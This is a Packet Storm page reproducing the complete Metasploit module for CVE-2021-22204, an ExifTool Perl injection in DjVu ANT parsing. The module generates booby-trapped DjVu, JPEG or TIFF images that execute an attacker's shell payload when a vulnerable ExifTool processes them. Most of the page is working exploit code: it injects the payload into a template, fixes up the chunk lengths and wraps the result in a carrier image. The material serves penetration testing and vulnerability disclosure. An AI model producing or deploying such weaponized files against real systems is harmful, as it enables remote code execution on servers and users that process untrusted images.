exploit the possibilities

ExifTool DjVu ANT Perl Injection

ExifTool DjVu ANT Perl Injection
Posted May 12, 2021
Authored by Justin Steven, William Bowling | Site metasploit.com

This Metasploit module exploits a Perl injection vulnerability in the DjVu ANT parsing code of ExifTool versions 7.44 through 12.23 inclusive. The injection is used to execute a shell command using Perl backticks. The DjVu image can be embedded in a wrapper image using the HasselbladExif EXIF field.

tags | exploit, shell, perl
advisories | CVE-2021-22204
MD5 | 1fba1ff491cb6bf069766f65d4437c6e

ExifTool DjVu ANT Perl Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ExifTool DjVu ANT Perl injection',
'Description' => %q{
This module exploits a Perl injection vulnerability in the DjVu ANT
parsing code of ExifTool versions 7.44 through 12.23 inclusive. The
injection is used to execute a shell command using Perl backticks.
The DjVu image can be embedded in a wrapper image using the
HasselbladExif EXIF field.
},
'Author' => [
'William Bowling', # Vulnerability discovery
'Justin Steven' # Metasploit module
],
'References' => [
%w[CVE 2021-22204],
%w[URL https://twitter.com/wcbowling/status/1385803927321415687],
%w[URL https://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031],
%w[URL https://www.openwall.com/lists/oss-security/2021/05/10/5]
],
'DisclosureDate' => '2021-05-24',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {
'DisableNops' => true,
'Space' => 2000,
'BadChars' => "\x22\x24\x40\x60\x5c" # ", $, @, ` and \
},
'Targets' => [
['JPEG file', { template: 'msf.jpg' }],
['TIFF file', { template: 'msf.tif' }],
['DjVu file', { template: 'msf.djvu' }]
],
'DefaultTarget' => 0
)
)

register_options([
OptString.new('FILENAME', [true, 'Output file', 'msf.jpg'])
])
end

def exploit
p = payload.encoded

buf = djvu_template.sub('echo vulnerable > /dev/tty', p)
buf[8, 4] = [209 + p.length].pack('L>') # Fix up DJVM length
buf[174, 4] = [43 + p.length].pack('L>') # Fix up DJVI length
buf[186, 4] = [31 + p.length].pack('L>') # Fix up ANTa length

if target.name == 'JPEG file'
jpeg_buf = jpeg_template
jpeg_buf[86, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)
buf = jpeg_buf
elsif target.name == 'TIFF file'
tif_buf = tif_template
tif_buf[206, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)
buf = tif_buf
end

file_create(buf)
end

def djvu_template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.djvu'
))
end

def jpeg_template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.jpg'
))
end

def tif_template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.tif'
))
end
end
Login or Register to add favorites

File Archive:

August 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    1 Files
  • 2
    Aug 2nd
    7 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    0 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close